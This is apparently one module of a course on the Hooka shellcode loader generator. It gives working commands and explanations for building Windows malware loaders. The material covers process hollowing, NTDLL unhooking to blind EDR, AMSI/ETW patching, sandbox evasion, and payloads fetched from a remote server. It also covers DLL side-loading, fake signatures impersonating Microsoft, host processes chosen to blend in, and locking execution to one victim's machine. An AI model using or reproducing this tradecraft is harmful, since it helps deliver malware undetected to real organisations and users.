Module 8: CLI Generator & Full Chain

Build Output

The make target compiles the Hooka CLI tool and places it in the build/ directory. The binary itself is a standard Go executable that runs on Linux (the primary build environment for cross-compiling Windows loaders). It uses GOOS=windows GOARCH=amd64 flags internally when generating loaders.

Output Formats

Minimal Configuration

Bashhooka -i shellcode.bin -o loader.exe

Uses default settings: SuspendedProcess injection, no encryption, no evasion. Good for testing in controlled environments where no AV/EDR is present.

Targeted Injection with EDR Bypass

Bashhooka -i sc.bin -o loader.exe \
  --exec ProcessHollowing \
  --unhook full \
  --amsi --etw

Hollows a target process (default: notepad.exe), replaces its memory with shellcode, and resumes execution. Full NTDLL unhooking removes all EDR hooks before injection. AMSI and ETW patching disable the two primary telemetry channels.

Stageless Network-Fetched Loader

Bashhooka -i http://192.168.1.126/sc.bin -o loader.dll \
  -f dll --sandbox --enc aes

Fetches shellcode from a remote server at build time, encrypts it with AES, embeds the ciphertext into a DLL. The DLL performs sandbox detection before decrypting and injecting. Output can be loaded via rundll32 or DLL side-loading.

Safe Testing Without Real Shellcode

Bash# Generate a loader that opens calc.exe (safe test payload)
hooka --calc -o test_loader.exe --exec NtCreateThreadEx --sandbox

The --calc flag uses a built-in shellcode payload that launches calc.exe. This allows you to test all evasion techniques, injection methods, and sandbox detection without needing actual malicious shellcode. If calc.exe opens on the target, your loader chain works correctly.

Pipeline Steps in Detail

1. Parse Arguments: The CLI parses all flags and validates the configuration (incompatible options, missing dependencies like sgn or UPX).
2. Read Input: Shellcode is read from the specified file or fetched from a URL. For .exe and .dll inputs, conversion to shellcode format occurs.
3. Convert: PE executables are converted via PE-to-shellcode techniques. DLLs are converted via sRDI. Raw .bin files are used directly.
4. Encrypt: The shellcode is encrypted with the selected algorithm. A random key is generated. Both ciphertext and key are prepared for embedding.
5. Generate Go Source: Hooka generates a complete Go source file containing: the encrypted shellcode as a byte array, the decryption key, the decryption function, all selected evasion techniques in the correct order, and the injection method.
6. Obfuscate: If --strings is enabled, string literals are Caesar-shifted. If -r is enabled, all identifiers are randomized.
7. Compile: The Go source is cross-compiled with GOOS=windows GOARCH=amd64 and linker flags -s -w -H=windowsgui (strip symbols, no console window).
8. Post-Process: Optional SGN encoding, UPX compression, and code signing are applied to the compiled binary.

DLL Format (-f dll)

When generating a DLL, the loader logic executes in the DLL's entry point (DllMain) when DLL_PROCESS_ATTACH is received. This means the shellcode runs automatically when the DLL is loaded by any process.

• rundll32 execution: rundll32.exe loader.dll,DllMain
• DLL side-loading: place the DLL where a legitimate application will load it
• Export functions: the generated DLL exports standard functions expected by common side-loading targets

DLL format is preferred for side-loading scenarios and when you need the loader to execute within the context of another (legitimate) process.

Using Real and Fake Certificates

Bash# Option 1: Sign with a real PFX certificate
hooka -i sc.bin -o loader.exe -c /path/to/cert.pfx

# Option 2: Generate a fake signature with a domain name
hooka -i sc.bin -o loader.exe -d www.microsoft.com

# Combine both: sign with real cert AND compress
hooka -i sc.bin -o loader.exe -c cert.pfx --compress

Hooka uses osslsigncode internally for signing. For fake signatures (-d), it generates a self-signed certificate with the specified Common Name, signs the binary, and embeds the certificate. The signature will appear in file properties but will not pass chain-of-trust verification.

Target Process Selection

The --proc flag specifies which process to target for injection techniques that require a host process (SuspendedProcess, ProcessHollowing, QueueUserApc, CreateRemoteThread). Default is notepad.exe.

• Choose common processes: svchost.exe, RuntimeBroker.exe, explorer.exe blend into normal system activity
• Match architecture: target must be x64 for x64 shellcode
• Avoid protected processes: some system processes (csrss.exe, lsass.exe) have additional protections

Username & Hostname Targeting

Bash# Lock execution to a specific target
hooka -i sc.bin -o loader.exe \
  --user jsmith \
  --computername CORP-WS-042 \
  --sandbox

If the loader lands on an analyst's machine or a different workstation, it exits silently without revealing any behavior. Combined with sandbox detection, this provides strong environment validation.

The Loader Family Tree

Hooka's key differentiator is its dual nature: a complete CLI tool and an importable Go library. Previous tools were CLI-only, requiring users to modify source code for customization. Hooka's library approach allows building entirely custom tooling while leveraging battle-tested evasion primitives.